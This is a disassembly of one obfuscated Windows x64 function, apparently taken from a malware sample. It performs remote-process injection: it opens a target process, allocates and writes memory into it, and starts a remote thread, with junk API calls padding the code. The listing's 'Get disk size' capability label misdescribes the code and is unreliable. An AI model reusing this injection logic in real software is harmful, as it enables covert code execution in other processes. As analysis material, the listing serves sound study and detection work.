Function at 0x635610
Capabilities:
Get disk size

Disassembly:
push rbp
push rbx
sub rsp, 0xf8
mov rbp, rsp
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x90], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x98], rbp
mov qword [rbp + 0x110], rcx
mov dword [rbp + 0x118], edx
mov byte [rbp + 0x120], r8b
lea rcx, [rbp + 0x110]
call fcn.0040eaf0
nop
mov eax, dword [0x00699884]
mov dword [0x006994c0], eax
mov byte [rbp + 0xe7], 0
mov eax, dword [0x00699884]
mov dword [0x006994c0], eax
mov eax, dword [0x006974bc]
cmp eax, dword [0x006989b4]
je 0x6356b6
mov eax, dword [0x006974bc]
mov dword [0x006989b4], eax
call fcn.00618820
cmp eax, dword [0x00699c28]
jle 0x6356cd
mov dword [0x00699c28], 0x73
mov eax, dword [0x00696300]
mov dword [0x00695bc0], eax
mov eax, dword [0x006934e4]
add eax, 1
cmp dword [0x006934e4], eax
jne 0x635741
mov eax, dword [0x00695bf8]
test eax, eax
jge 0x6356f9
call fcn.0040afc0
mov ecx, dword [0x00696e50]
test ecx, ecx
jge 0x635708
call fcn.0040afc0
mov edx, dword [0x006980d8]
test edx, edx
jge 0x635717
call fcn.0040afc0
mov r8d, dword [0x00698fb8]
test r8d, r8d
jge 0x635728
call fcn.0040afc0
mov r9d, ecx
mov r10d, edx
mov r11d, r8d
mov ecx, eax
mov edx, r9d
mov r8d, r10d
mov r9d, r11d
call sub.advapi32.dll_CryptDuplicateKey
mov eax, dword [0x006978e0]
add eax, dword [0x00698b18]
mov ecx, dword [0x00699394]
add ecx, dword [0x0069965c]
cmp eax, ecx
jle 0x635769
mov eax, dword [0x0069965c]
mov dword [0x006978e0], eax
call fcn.00623820
cmp eax, dword [0x006932b4]
jle 0x635780
mov dword [0x006932b4], 0x87
mov dword [0x0069329c], 0x2f2
mov eax, dword [0x0069329c]
sub eax, 0x19b
mov dword [0x006934f4], eax
mov dword [0x0069329c], 0x2f2
mov eax, dword [0x0069329c]
sub eax, 0x19b
mov dword [0x006934f4], eax
mov eax, dword [0x00698e60]
cmp eax, dword [0x006994e0]
je 0x6357d2
mov eax, dword [0x00698e60]
mov dword [0x006994e0], eax
mov qword [rbp + 0xd8], 0
nop
mov eax, dword [0x006965c4]
add eax, dword [0x0069742c]
mov ecx, dword [0x0069811c]
add ecx, dword [0x00698ea4]
cmp eax, ecx
jle 0x6357ff
call fcn.004096f0
mov rcx, qword [rbp + 0x110]
mov edx, dword [rbp + 0x118]
call fcn.006351e0
test al, al
jne 0x6368fe
mov eax, dword [0x00696308]
mov dword [0x00695bc4], eax
call fcn.00606430
mov eax, dword [0x00696cdc]
add eax, dword [0x00697e88]
mov ecx, dword [0x00698e54]
add ecx, dword [0x006990cc]
cmp eax, ecx
jle 0x635852
mov eax, dword [0x006990cc]
mov dword [0x00696cdc], eax
mov eax, dword [0x00699c44]
add eax, dword [0x00693408]
mov ecx, dword [0x00693558]
add ecx, dword [0x00694290]
cmp eax, ecx
jle 0x635878
mov dword [0x00699c44], 0x155
mov ecx, 0x2000000
xor edx, edx
mov r8d, dword [rbp + 0x118]
call qword [0x006a8bd0]
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
je 0x6368fe
nop
mov dword [rbp + 0xa4], 0
mov rax, qword [rbp + 0x110]
test rax, rax
je 0x6358c5
mov eax, dword [rax - 4]
shr eax, 1
mov dword [rbp + 0xa4], eax
mov eax, dword [rbp + 0xa4]
add eax, eax
mov dword [rbp + 0xd4], eax
mov eax, dword [0x00699564]
mov dword [0x00698fc0], eax
mov eax, dword [0x00693424]
add eax, 1
cmp dword [0x00693424], eax
jne 0x635947
mov eax, dword [0x006934f4]
test eax, eax
jge 0x6358ff
call fcn.0040afc0
mov ecx, dword [0x00696184]
test ecx, ecx
jge 0x63590e
call fcn.0040afc0
mov edx, dword [0x00696cc4]
test edx, edx
jge 0x63591d
call fcn.0040afc0
mov r8d, dword [0x00697e70]
test r8d, r8d
jge 0x63592e
call fcn.0040afc0
mov r9d, ecx
mov r10d, edx
mov r11d, r8d
mov ecx, eax
mov edx, r9d
mov r8d, r10d
mov r9d, r11d
call sub.advapi32.dll_CryptDuplicateKey
mov eax, dword [0x00699564]
mov dword [0x00698fc0], eax
mov eax, dword [0x00698968]
cmp eax, dword [0x00698fc4]
je 0x63596d
mov eax, dword [0x00698968]
mov dword [0x00698fc4], eax
mov eax, dword [0x00696cc0]
mov dword [0x00696310], eax
mov eax, dword [0x006932d0]
mov dword [0x00699a48], eax
call fcn.00619970
cmp eax, dword [0x00699c44]
jle 0x63599c
mov dword [0x00699c44], 0x3c
mov eax, dword [0x006940a0]
add eax, 1
cmp dword [0x006940a0], eax
jne 0x635a1a
mov eax, dword [0x00695b94]
test eax, eax
jge 0x6359bc
call fcn.0040afc0
mov ecx, dword [0x0069689c]
test ecx, ecx
jge 0x6359cb
call fcn.0040afc0
mov edx, dword [0x0069747c]
test edx, edx
jge 0x6359da
call fcn.0040afc0
mov r8d, dword [0x00698970]
test r8d, r8d
jge 0x6359eb
call fcn.0040afc0
mov r9d, dword [0x0069938c]
test r9d, r9d
jge 0x6359fc
call fcn.0040afc0
mov r10d, ecx
mov r11d, edx
mov ebx, r8d
mov dword [rsp + 0x20], r9d
mov ecx, eax
mov edx, r10d
mov r8d, r11d
mov r9d, ebx
call sub.kernel32.dll_LockFile
mov dword [0x006931e0], 0x2fa
mov eax, dword [0x006931e0]
sub eax, 0x19f
mov dword [0x00693444], eax
call fcn.005cdc90
cmp eax, 0x3c
jl 0x635ad3
lea rcx, [rbp + 0x88]
lea rdx, [0x00692706]
mov r8d, 9
mov r9d, 0x2d
call fcn.00597b20
lea rcx, [rbp + 0x90]
mov rdx, qword [rbp + 0x88]
xor r8, r8
call fcn.005a8ac0
mov rcx, qword [rbp + 0x90]
call fcn.00410050
mov rcx, rax
call qword [0x006a8b70]
mov rbx, rax
lea rcx, [rbp + 0x80]
lea rdx, [0x00692842]
mov r8d, 0x10
mov r9d, 0x2d
call fcn.00597b20
mov rcx, qword [rbp + 0x80]
call fcn.0040fbe0
mov rcx, rbx
mov rdx, rax
call qword [0x006a8c48]
mov qword [rbp + 0xa8], rax
cmp byte [rbp + 0x120], 0
je 0x63615b
mov eax, dword [0x00693930]
add eax, 1
cmp dword [0x00693930], eax
jne 0x635b07
mov eax, dword [0x006942e4]
test eax, eax
jge 0x635b00
call fcn.0040afc0
mov ecx, eax
call sub.kernel32.dll_SetConsoleKeyShortcuts
mov dword [0x006934d8], 0x329
mov eax, dword [0x006934d8]
sub eax, 0x1b6
mov dword [0x006940d0], eax
mov eax, dword [0x00696e74]
add eax, dword [0x00698100]
mov ecx, dword [0x00698e84]
add ecx, dword [0x00699508]
cmp eax, ecx
jle 0x635b4b
mov eax, dword [0x00699508]
mov dword [0x00696e74], eax
movsxd rbx, dword [rbp + 0xd4]
test rbx, rbx
jge 0x635b5c
call fcn.0040afc0
mov rcx, qword [rbp + 0xe8]
xor edx, edx
mov r8, rbx
mov r9d, 0x1000
mov dword [rsp + 0x20], 4
call qword [0x006a8dc0]
mov qword [rbp + 0xc0], rax
cmp qword [rbp + 0xc0], 0
je 0x63676c
mov eax, dword [0x00696e74]
add eax, dword [0x00698100]
mov ecx, dword [0x00698e84]
add ecx, dword [0x00699508]
cmp eax, ecx
jle 0x635bba
mov eax, dword [0x00699508]
mov dword [0x00696e74], eax
mov eax, dword [0x006989b4]
cmp eax, dword [0x006990b8]
je 0x635bd4
mov eax, dword [0x006989b4]
mov dword [0x006990b8], eax
mov eax, dword [0x0069354c]
add eax, 1
cmp dword [0x0069354c], eax
jne 0x635c3c
mov eax, dword [0x006965d8]
test eax, eax
jge 0x635bf4
call fcn.0040afc0
mov ecx, dword [0x00698130]
test ecx, ecx
jge 0x635c03
call fcn.0040afc0
mov edx, dword [0x006990b8]
test edx, edx
jge 0x635c12
call fcn.0040afc0
mov r8d, dword [0x00699bf4]
test r8d, r8d
jge 0x635c23
call fcn.0040afc0
mov r9d, ecx
mov r10d, edx
mov r11d, r8d
mov ecx, eax
mov edx, r9d
mov r8d, r10d
mov r9d, r11d
call sub.advapi32.dll_CryptDuplicateKey
mov eax, dword [0x00696cac]
add eax, dword [0x00697c80]
mov ecx, dword [0x00698b34]
add ecx, dword [0x006993b4]
cmp eax, ecx
jle 0x635c64
mov eax, dword [0x006993b4]
mov dword [0x00696cac], eax
call fcn.0061f1e0
cmp eax, dword [0x006931e4]
jle 0x635c7b
mov dword [0x006931e4], 0x6a
mov eax, dword [0x0069658c]
add eax, dword [0x00696e58]
mov ecx, dword [0x006980e4]
add ecx, dword [0x00698b00]
cmp eax, ecx
jle 0x635c9c
call fcn.004096f0
mov rcx, qword [rbp + 0xe8]
xor edx, edx
mov r8d, 0x90
mov r9d, 0x1000
mov dword [rsp + 0x20], 4
call qword [0x006a8dc0]
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
je 0x63676c
mov eax, dword [0x006962d8]
mov dword [0x00695b94], eax
mov rcx, qword [rbp + 0x110]
call fcn.00410050
mov rcx, qword [rbp + 0xe8]
mov rdx, qword [rbp + 0xc0]
mov r8, rax
mov r9, rbx
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x20], rax
call qword [0x006a8dc8]
test eax, eax
je 0x63676c
call fcn.00612df0
mov eax, dword [0x00699c08]
add eax, dword [0x006933c8]
mov ecx, dword [0x00693988]
add ecx, dword [0x00695830]
cmp eax, ecx
jle 0x635d47
mov dword [0x00699c08], 0x58
mov eax, dword [0x00699bf0]
mov dword [0x00699534], eax
mov rcx, qword [rbp + 0xe8]
mov rdx, qword [rbp + 0xc8]
lea r8, [0x00633e90]
mov r9d, 0x90
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x20], rax
call qword [0x006a8dc8]
test eax, eax
je 0x63676c
mov eax, dword [0x006974a8]
add eax, dword [0x006989a0]
mov ecx, dword [0x006990a4]
add ecx, dword [0x00699604]
cmp eax, ecx
jle 0x635db1
mov eax, dword [0x00699604]
mov dword [0x006974a8], eax
mov eax, dword [0x006968bc]
add eax, dword [0x006978f8]
mov ecx, dword [0x00698b2c]
add ecx, dword [0x006993ac]
cmp eax, ecx
jle 0x635dd2
call fcn.004096f0
call fcn.00622e10
cmp eax, dword [0x006933a0]
jle 0x635de9
mov dword [0x006933a0], 0x9e
mov eax, dword [0x00696e64]
add eax, dword [0x006980ec]
mov ecx, dword [0x00698e74]
add ecx, dword [0x006994f4]
cmp eax, ecx
jle 0x635e11
mov eax, dword [0x006994f4]
mov dword [0x00696e64], eax
call fcn.005cdc90
cmp eax, 0x3c
jl 0x635e97
lea rcx, [rbp + 0xd8]
mov edx, 0x2000000
xor r8, r8
mov r9, qword [rbp + 0xe8]
mov rax, qword [rbp + 0xc8]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0xc0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
call qword [rbp + 0xa8]
cmp qword [rbp + 0xd8], 0
je 0x635ef1
mov rcx, qword [rbp + 0xd8]
or edx, 0xffffffff
call qword [0x006a8b98]
jmp 0x635ef1
mov rcx, qword [rbp + 0xe8]
xor edx, edx
xor r8, r8
mov r9, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xc0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0
lea rax, [rbp + 0xb4]
mov qword [rsp + 0x30], rax
call qword [0x006a8de0]
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0
je 0x635ef1
mov rcx, qword [rbp + 0xd8]
or edx, 0xffffffff
call qword [0x006a8b98]
cmp qword [rbp + 0xd8], 0
je 0x63676c
mov eax, dword [0x006934f4]
add eax, 1
cmp dword [0x006934f4], eax
jne 0x635f26
mov eax, dword [0x0069614c]
test eax, eax
jge 0x635f1f
call fcn.0040afc0
mov ecx, eax
call sub.kernel32.dll_SetConsoleKeyShortcuts
mov eax, dword [0x0069409c]
add eax, 1
cmp dword [0x0069409c], eax
jne 0x635f77
mov eax, dword [0x00693564]
test eax, eax
jge 0x635f46
call fcn.0040afc0
mov ecx, dword [0x00695880]
test ecx, ecx
jge 0x635f55
call fcn.0040afc0
mov edx, dword [0x00696cb8]
test edx, edx
jge 0x635f64
call fcn.0040afc0
mov r8d, ecx
mov r9d, edx
mov ecx, eax
mov edx, r8d
mov r8d, r9d
call sub.kernel32.dll_GetDiskFreeSpaceExW
mov eax, dword [0x006942c0]
add eax, dword [0x00695938]
mov ecx, dword [0x006932b0]
add ecx, dword [0x0069350c]
cmp ecx, eax
jle 0x635f9d
mov dword [0x006932b0], 0x11a
mov ecx, dword [0x006932b0]
add ecx, dword [0x0069350c]
cmp ecx, eax
jle 0x635fb7
mov dword [0x006932b0], 0x11a
mov eax, dword [0x00698e80]
cmp eax, dword [0x006995dc]
je 0x635fd1
mov eax, dword [0x00698e80]
mov dword [0x006995dc], eax
mov eax, dword [0x00693440]
mov dword [0x006931dc], eax
mov byte [rbp + 0xe7], 1
mov rcx, qword [rbp + 0xd8]
lea rdx, [rbp + 0xb0]
call qword [0x006a8db0]
mov eax, dword [0x00697470]
add eax, dword [0x00698b04]
mov ecx, dword [0x00699380]
add ecx, dword [0x00699648]
cmp eax, ecx
jle 0x636020
mov eax, dword [0x00699648]
mov dword [0x00697470], eax
mov eax, dword [0x006962d8]
add eax, dword [0x0069689c]
mov ecx, dword [0x0069747c]
add ecx, dword [0x00698970]
cmp eax, ecx
jle 0x636041
call fcn.004096f0
mov eax, dword [0x006933dc]
add eax, 1
cmp dword [0x006933dc], eax
jne 0x6360a9
mov eax, dword [0x00693280]
test eax, eax
jge 0x636061
call fcn.0040afc0
mov ecx, dword [0x006940d0]
test ecx, ecx
jge 0x636070
call fcn.0040afc0
mov edx, dword [0x00695bb8]
test edx, edx
jge 0x63607f
call fcn.0040afc0
mov r8d, dword [0x006965c0]
test r8d, r8d
jge 0x636090
call fcn.0040afc0
mov r9d, ecx
mov r10d, edx
mov r11d, r8d
mov ecx, eax
mov edx, r9d
mov r8d, r10d
mov r9d, r11d
call sub.advapi32.dll_CryptDuplicateKey
mov eax, dword [0x00693560]
add eax, 1
cmp dword [0x00693560], eax
jne 0x6360d0
mov eax, dword [0x00693300]
test eax, eax
jge 0x6360c9
call fcn.0040afc0
mov ecx, eax
call sub.kernel32.dll_SetConsoleKeyShortcuts
mov eax, dword [0x006962d8]
add eax, dword [0x0069689c]
mov ecx, dword [0x0069747c]
add ecx, dword [0x00698970]
cmp eax, ecx
jle 0x6360f1
call fcn.004096f0
mov eax, dword [0x00698b28]
cmp eax, dword [0x006993a8]
je 0x63610b
mov eax, dword [0x00698b28]
mov dword [0x006993a8], eax
mov eax, dword [0x006932c4]
mov dword [0x0069989c], eax
mov eax, dword [0x006932c4]
mov dword [0x0069989c], eax
mov eax, dword [0x006980d8]
cmp eax, dword [0x00698e60]
je 0x63613d
mov eax, dword [0x006980d8]
mov dword [0x00698e60], eax
mov eax, dword [0x0069955c]
mov dword [0x00698fb8], eax
mov rcx, qword [rbp + 0xd8]
call qword [0x006a8bc0]
jmp 0x63676c
mov eax, dword [0x00693454]
add eax, 1
cmp dword [0x00693454], eax
jne 0x6361c3
mov eax, dword [0x006934bc]
test eax, eax
jge 0x63617b
call fcn.0040afc0
mov ecx, dword [0x00696150]
test ecx, ecx
jge 0x63618a
call fcn.0040afc0
mov edx, dword [0x00696ac8]
test edx, edx
jge 0x636199
call fcn.0040afc0
mov r8d, dword [0x006980fc]
test r8d, r8d
jge 0x6361aa
call fcn.0040afc0
mov r9d, ecx
mov r10d, edx
mov r11d, r8d
mov ecx, eax
mov edx, r9d
mov r8d, r10d
mov r9d, r11d
call sub.advapi32.dll_CryptDuplicateKey
mov eax, dword [0x0069955c]
mov dword [0x00698fb8], eax
mov eax, dword [0x006980f4]
cmp eax, dword [0x00698e7c]
je 0x6361e9
mov eax, dword [0x006980f4]
mov dword [0x00698e7c], eax
mov dword [0x00693304], 0x30d
mov eax, dword [0x00693304]
sub eax, 0x1a8
mov dword [0x0069355c], eax
mov eax, dword [0x00698b38]
add eax, dword [0x006993b8]
mov ecx, dword [0x0069742c]
add ecx, dword [0x0069811c]
cmp ecx, eax
jle 0x63622d
mov ecx, dword [0x006993b8]
mov dword [0x0069742c], ecx
mov ecx, dword [0x0069742c]
add ecx, dword [0x0069811c]
cmp ecx, eax
jle 0x636249
mov eax, dword [0x006993b8]
mov dword [0x0069742c], eax
mov eax, dword [0x00697e80]
cmp eax, dword [0x00698e4c]
je 0x636263
mov eax, dword [0x00697e80]
mov dword [0x00698e4c], eax
call fcn.006179b0
mov eax, dword [0x006974ac]
add eax, dword [0x006989a4]
mov ecx, dword [0x006990a8]
add ecx, dword [0x00699608]
cmp eax, ecx
jle 0x636290
mov eax, dword [0x00699608]
mov dword [0x006974ac], eax
call fcn.00626020
cmp eax, dword [0x006932e0]
jle 0x6362a7
mov dword [0x006932e0], 0x92
lea rcx, [rbp + 0x70]
lea rdx, [0x006927e7]
mov r8d, 0xc
mov r9d, 0x2d
call fcn.00597b20
lea rcx, [rbp + 0x78]
mov rdx, qword [rbp + 0x70]
xor r8, r8
call fcn.005a8ac0
mov rcx, qword [rbp + 0x78]
call fcn.00410050
mov rcx, rax
call qword [0x006a8b70]
mov rbx, rax
lea rcx, [rbp + 0x68]
lea rdx, [0x00692835]
mov r8d, 0xc
mov r9d, 0x2d
call fcn.00597b20
mov rcx, qword [rbp + 0x68]
call fcn.0040fbe0
mov rcx, rbx
mov rdx, rax
call qword [0x006a8c48]
mov qword [rbp + 0xc8], rax
movsxd rbx, dword [rbp + 0xd4]
test rbx, rbx
jge 0x636335
call fcn.0040afc0
mov rcx, qword [rbp + 0xe8]
xor edx, edx
mov r8, rbx
mov r9d, 0x1000
mov dword [rsp + 0x20], 4
call qword [0x006a8dc0]
mov qword [rbp + 0xc0], rax
cmp qword [rbp + 0xc0], 0
je 0x63676c
mov eax, dword [0x0069964c]
mov dword [0x00699384], eax
mov eax, dword [0x006965ac]
add eax, dword [0x00696e7c]
mov ecx, dword [0x00698108]
add ecx, dword [0x00698b20]
cmp eax, ecx
jle 0x63639f
mov eax, dword [0x00698b20]
mov dword [0x006965ac], eax
call fcn.00622da0
cmp eax, dword [0x00693288]
jle 0x6363b6
mov dword [0x00693288], 0x7c
mov eax, dword [0x00696c94]
mov dword [0x006962e4], eax
mov rcx, qword [rbp + 0x110]
call fcn.00410050
mov rcx, qword [rbp + 0xe8]
mov rdx, qword [rbp + 0xc0]
mov r8, rax
mov r9, rbx
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x20], rax
call qword [0x006a8dc8]
test eax, eax
je 0x63676c
mov eax, dword [0x00693410]
mov dword [0x006995f4], eax
mov eax, dword [0x00696c9c]
add eax, dword [0x00697494]
mov ecx, dword [0x00698988]
add ecx, dword [0x00699090]
cmp eax, ecx
jle 0x636430
mov eax, dword [0x00699090]
mov dword [0x00696c9c], eax
mov eax, dword [0x00699c38]
mov dword [0x006995dc], eax
mov eax, dword [0x006965c4]
add eax, dword [0x0069742c]
mov ecx, dword [0x0069811c]
add ecx, dword [0x00698ea4]
cmp eax, ecx
jle 0x63645d
call fcn.004096f0
mov eax, dword [0x00696a9c]
add eax, dword [0x006974d0]
mov ecx, dword [0x00698ae8]
add ecx, dword [0x006990cc]
cmp eax, ecx
jle 0x636485
mov eax, dword [0x006990cc]
mov dword [0x00696a9c], eax
mov eax, dword [0x00699c14]
add eax, dword [0x006933d8]
mov ecx, dword [0x00693918]
add ecx, dword [0x006942dc]
cmp eax, ecx
jle 0x6364ab
mov dword [0x00699c14], 0x14e
mov dword [0x00693290], 0x30e
mov eax, dword [0x00693290]
sub eax, 0x1a9
mov dword [0x006934e8], eax
mov eax, dword [0x00699c10]
add eax, dword [0x006933d0]
mov ecx, dword [0x00693914]
add ecx, dword [0x006942d4]
cmp eax, ecx
jle 0x6364ed
mov dword [0x00699c10], 0xd2
call fcn.005cdc90
cmp eax, 0x3c
jl 0x63660e
mov eax, dword [0x006933a4]
mov dword [0x00699be4], eax
mov eax, dword [0x006933a4]
mov dword [0x00699be4], eax
mov eax, dword [0x00698b0c]
cmp eax, dword [0x00699388]
je 0x63652d
mov eax, dword [0x00698b0c]
mov dword [0x00699388], eax
mov eax, dword [0x006962e4]
mov dword [0x00695ba0], eax
mov dword [0x006932cc], 0x31d
mov eax, dword [0x006932cc]
sub eax, 0x1a1
mov dword [0x00693450], eax
mov dword [0x006932cc], 0x31d
mov eax, dword [0x006932cc]
sub eax, 0x1a1
mov dword [0x00693450], eax
mov eax, dword [0x00698e74]
cmp eax, dword [0x006994f8]
je 0x63658b
mov eax, dword [0x00698e74]
mov dword [0x006994f8], eax
lea rcx, [rbp + 0xd8]
mov edx, 0x2000000
xor r8, r8
mov r9, qword [rbp + 0xe8]
mov rax, qword [rbp + 0xc8]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0xc0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
call qword [rbp + 0xa8]
cmp qword [rbp + 0xd8], 0
je 0x636712
mov rcx, qword [rbp + 0xd8]
or edx, 0xffffffff
call qword [0x006a8b98]
jmp 0x636712
mov dword [0x006932dc], 0x303
mov eax, dword [0x006932dc]
sub eax, 0x1a3
mov dword [0x00693538], eax
mov eax, dword [0x00696894]
add eax, dword [0x00697474]
mov ecx, dword [0x00698968]
add ecx, dword [0x00698fc8]
cmp eax, ecx
jle 0x63664b
call fcn.004096f0
mov eax, dword [0x00699a74]
mov dword [0x0069950c], eax
mov eax, dword [0x00696ca0]
add eax, dword [0x00697498]
mov ecx, dword [0x0069898c]
add ecx, dword [0x00699094]
cmp eax, ecx
jle 0x63667f
mov eax, dword [0x00699094]
mov dword [0x00696ca0], eax
mov dword [0x006932a4], 0x2f4
mov eax, dword [0x006932a4]
sub eax, 0x19c
mov dword [0x00693500], eax
mov eax, dword [0x006995f0]
mov dword [0x00699094], eax
mov eax, dword [0x00696ac8]
mov dword [0x006962e0], eax
call fcn.00615620
mov rcx, qword [rbp + 0xe8]
xor edx, edx
xor r8, r8
mov r9, qword [rbp + 0xc8]
mov rax, qword [rbp + 0xc0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0
lea rax, [rbp + 0xb4]
mov qword [rsp + 0x30], rax
call qword [0x006a8de0]
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0
je 0x636712
mov rcx, qword [rbp + 0xd8]
or edx, 0xffffffff
call qword [0x006a8b98]
cmp qword [rbp + 0xd8], 0
je 0x63676c
mov eax, dword [0x00696ab8]
add eax, dword [0x006978cc]
mov ecx, dword [0x00698b04]
add ecx, dword [0x00699380]
cmp eax, ecx
jle 0x636744
mov eax, dword [0x00699380]
mov dword [0x00696ab8], eax
mov byte [rbp + 0xe7], 1
mov rcx, qword [rbp + 0xd8]
lea rdx, [rbp + 0xb0]
call qword [0x006a8db0]
mov rcx, qword [rbp + 0xd8]
call qword [0x006a8bc0]
nop
mov eax, dword [0x00693434]
add eax, 1
cmp dword [0x00693434], eax
jne 0x636794
mov eax, dword [0x00698e38]
test eax, eax
jge 0x63678d
call fcn.0040afc0
mov ecx, eax
call sub.kernel32.dll_SetConsoleKeyShortcuts
mov eax, dword [0x00693524]
add eax, 1
cmp dword [0x00693524], eax
jne 0x6367bb
mov eax, dword [0x0069329c]
test eax, eax
jge 0x6367b4
call fcn.0040afc0
mov ecx, eax
call sub.kernel32.dll_SetConsoleKeyShortcuts
mov rcx, qword [rbp + 0xe8]
call qword [0x006a8bc0]
mov eax, dword [0x006965dc]
mov dword [0x00696188], eax
mov eax, dword [0x006965dc]
mov dword [0x00696188], eax
mov eax, dword [0x00698104]
cmp eax, dword [0x00698e88]
je 0x6367fa
mov eax, dword [0x00698104]
mov dword [0x00698e88], eax
mov eax, dword [0x006934c4]
add eax, 1
cmp dword [0x006934c4], eax
jne 0x63684b
mov eax, dword [0x0069952c]
test eax, eax
jge 0x63681a
call fcn.0040afc0
mov ecx, dword [0x006933a8]
test ecx, ecx
jge 0x636829
call fcn.0040afc0
mov edx, dword [0x00693964]
test edx, edx
jge 0x636838
call fcn.0040afc0
mov r8d, ecx
mov r9d, edx
mov ecx, eax
mov edx, r8d
mov r8d, r9d
call sub.kernel32.dll_GetDiskFreeSpaceExW
mov eax, dword [0x00699868]
mov dword [0x006993ac], eax
mov eax, dword [0x00699868]
mov dword [0x006993ac], eax
mov eax, dword [0x00697e70]
cmp eax, dword [0x00698e3c]
je 0x63687d
mov eax, dword [0x00697e70]
mov dword [0x00698e3c], eax
call fcn.006179b0
cmp eax, dword [0x00699bec]
jle 0x636894
mov dword [0x00699bec], 0x44
call fcn.00618820
cmp eax, dword [0x00699c28]
jle 0x6368fe
mov dword [0x00699c28], 0x53
jmp 0x6368fe
mov eax, dword [0x006965b0]
add eax, dword [0x00696e80]
mov ecx, dword [0x00698108]
add ecx, dword [0x00698b24]
cmp eax, ecx
jle 0x63691f
call fcn.004096f0
call fcn.0062d580
cmp eax, dword [0x006933cc]
jle 0x636936
mov dword [0x006933cc], 0xa8
mov eax, dword [0x006965b0]
add eax, dword [0x00696e80]
mov ecx, dword [0x00698108]
add ecx, dword [0x00698b24]
cmp eax, ecx
jle 0x636957
call fcn.004096f0
mov eax, dword [0x00698e94]
cmp eax, dword [0x00699518]
je 0x636971
mov eax, dword [0x00698e94]
mov dword [0x00699518], eax
nop
lea rcx, [rbp + 0x68]
mov edx, 2
call fcn.0040ea30
lea rcx, [rbp + 0x78]
call fcn.0040e9c0
lea rcx, [rbp + 0x80]
mov edx, 2
call fcn.0040ea30
lea rcx, [rbp + 0x90]
call fcn.0040e9c0
lea rcx, [rbp + 0x110]
call fcn.0040e9c0
movzx rax, byte [rbp + 0xe7]
lea rsp, [rbp + 0xf8]
pop rbx
pop rbp
ret